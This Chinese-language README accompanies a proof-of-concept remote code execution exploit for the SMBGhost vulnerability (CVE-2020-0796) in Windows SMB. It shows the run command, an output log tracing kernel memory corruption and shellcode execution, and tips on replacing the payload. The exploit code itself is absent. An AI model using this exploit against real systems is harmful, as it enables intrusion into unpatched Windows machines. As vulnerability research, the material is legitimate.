针对CVE-2020-0796 "SMBGhost"的RCE PoC
仅用于演示目的！请仅将其作为参考。说真的。除我的实验室环境外，未经任何测试。编写仓促，需要进一步改进才能更可靠。有时会出现蓝屏。用于任何非自我教育的目的都是极其糟糕的主意。你的电脑会着火。小狗会死。
好了，言归正传....
使用示例：
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
替换exploit.py中的USER_PAYLOAD载荷。最多600字节。如果需要更多，请自行修改内核shell代码。
lznt1代码来自此处。经过修改，添加了一个“坏压缩”函数，用于破坏SRVNET缓冲区头部而不会导致崩溃。